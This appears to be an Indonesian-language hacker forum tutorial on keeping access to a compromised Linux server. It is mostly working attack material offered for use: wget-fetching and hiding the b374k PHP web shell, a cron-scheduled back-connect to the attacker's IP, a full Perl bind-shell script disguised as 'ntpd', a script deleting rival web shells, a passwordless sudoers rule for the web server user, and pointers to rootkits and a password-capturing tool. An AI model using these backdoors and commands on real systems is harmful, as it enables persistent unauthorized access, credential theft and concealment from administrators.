Planting BackdoorsOk setelah melakukan sedikit covering tracks di box yg sudah diroot, biasanya attacker akan melakukan penanaman backdoor dan mempersulit attacker lain masuk ke dalam dengan mempersulit pemasangan backdoor di server.
seperti biasa remover ini berupa sh (shell scripting), misal diberi nama xinetd
dg isi file sbb:
- Code:
-
# !/bin/sh
while [ "$INPUT_STRING" != "bye" ]
do
find /home/ -name "*".php -type f -print0 | xargs -0 grep c99 | uniq -c | sort -u | cut -d":" -f1 | awk '{print "rm -rf " $2}' | uniq
find /home/ -name "*".php -type f -print0 | xargs -0 grep r57 | uniq -c | sort -u | cut -d":" -f1 | awk '{print "rm -rf " $2}' | uniq
done
penjelasan:
- Code:
-
find /home/ -name "*".php -type f -print0 | xargs -0 grep c99 | uniq -c | sort -u | cut -d":" -f1 | awk '{print "rm -rf " $2}' | uniq
mencari dan mendelete c99 di direktori website di /home (krn direktori web ada di /home/nama_user/public_html), lalu dengan awk mendelete c99 shell
simpan di direktori yg tersembunyi, misal di /tmp/... :
- Code:
-
bt ~ # ssh
whm@xxxxxxxxxx.comwhm@xxxxxxxxxxxx.com's password:
Last login: Fri Jun 12 10:06:03 2009 from 118.136.147.202
Could not chdir to home directory /home/whm: No such file or dir ectory
-bash-3.00# cd /tmp/...
-bash-3.00# nano xinetd
-bash-3.00# chmod +x xinetd
-bash-3.00# ./xinetd &
[1] 26313
-bash-3.00#
di mana xinetd palsu itu akan kita run di background process sehingga akan run terus menerus utk menghapus setiap c99 dan r57 yg baru diupload
Planting BackdoorsSelanjutnya adl memasang aneka macam backdoor
1. planting php shell (b374k.php)
utk kesempatan kali ini kita akan menggunakan b374k.php
- Code:
-
[root@vps776 shoutimages]# pwd
/home/xxxxxxxxxxx/www/smetag/shoutimages
[root@vps776 shoutimages]# mkdir ...
[root@vps776 shoutimages]# cd ...;wget http://tools.kerinci.net/download/b374k-1.0.tar.gz; tar zxvf b374k-1.0.tar.gz
--11:43:03-- http://tools.kerinci.net/download/b374k-1.0.tar.gz
=> `b374k-1.0.tar.gz'
Resolving tools.kerinci.net... 174.37.227.204
Connecting to tools.kerinci.net|174.37.227.204|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11,360 (11K) [application/x-gzip]
100%[=======================================================================================================>] 11,360 19.43K/s
11:43:05 (19.39 KB/s) - `b374k-1.0.tar.gz' saved [11360/11360]
b374k.php
readme.txt
[root@vps776 ...]# rm -f readme.txt mv b374k.php .library.php
2. Membuat Auto Backdooring time dg Crontab
Selanjutnya pasang upload bc atau ssh door ke server, misal di sini menggunakan bc yang akan dirun oleh cron setiap pukul 20:00 tiap malam
Selanjutnya attacker bisa juga membuat auto backdoor berdasarkan waktu dg menggunakan crontab:
- Code:
-
[root@vps776 ...]# EDITOR=nano
[root@vps776 ...]# export EDITOR
[root@vps776 ...]# crontab -e
crontab: installing new crontab
di mana yg ditambah misal adl line ini:
- Code:
-
30 20 * * * /tmp/.../bc alamat_ip_kita_taruh_di_sini 3335
yup dengan penambahan line di atas pada crontab maka back connect akan dikirim ke port 3335 kita tiap pukul 20:00 (jam server)
sehingga setiap pukul 20:00 kita bisa menerima koneksi dari server tiap harinya dg listening nc di port 3335:
- Code:
-
bt ~ # nc -l -p 3335 -vvv
listening on [any] 3335 ...
ip_server: inverse host lookup failed: Unknown host
connect to [ip_kita] from (UNKNOWN) [ip_server] 59569
why?
ini berguna jika suatu hari kita kehilangan akses ssh dan akses php shell di server maka tiap pukul 20:00 malam kita tetap bisa masuk ke server melalui back connect yang sudah kita install di crontab
3. Intalasi Linux Trojan& Lain2 Rootkit
Beberapa contoh linux trojan yang bisa Anda install di server bisa dilihat di:
http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=rootkit&type=archives&%5Bsearch%5D.x=0&%5Bsearch%5D.y=0Tinggal dipilih
4. Pasang Fake Passworder
fake passworder pernah saya buat
http://web.archive.org/web/20041014202326/www.solhack.ath.cx/tools.htmlfake passworder ini utk membelokkan password dan kemudian disimpan di /tmp
5. Pasang Bind Port
misal kita pakai bdp dari bind portnya b374k.php:
- Code:
-
#!/usr/bin/perl -w
#whereis perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}
kita simpan lagi di server target dg nama bdp di direktori /tmp/... (misal)
kita buat file sh di direktori /tmp/... dg isi yg menjalankan bdp tadi utk bind shell:
misal isinya:
- Code:
-
# !/bin/sh
while [ "$INPUT_STRING" != "bye" ]
do
./bdp 777
done
misal disimpan dg nama: ntpd ( seolah olah adl network time protocol daemon)
lalu kita run di background:
- Code:
-
./ntpd &
utk listen port di server di port 777
Selanjutnya kita bisa akses tiap saat server ini dg netcat:
- Code:
-
bt ~ # nc alamat_ip_server 777
bash: no job control in this shell
bash-3.00# uname -a
Linux vps776.xxxxxxx.com 2.6.18-028stab062.3 #1 SMP Thu Mar 26 14:46:38 MSK 2009 x86_64 x86_64 x86_64 GNU/Linux
bash-3.00#
Tips Tambahan:
Untuk mengawetkan akses bisa juga dengan mengedit file sudoers (bisA dilakukan dg visudo atau nano atau pico)
tambahkan line ini utk privilege sudo:
- Code:
-
apache ALL=(ALL) NOPASSWD: ALL
keterangan apache hanyalah sample user saja , intinya adl menambahkan user yg menjalankan skrip php (bisa apache, atau www-data, atau nobody) tergantung setting httpd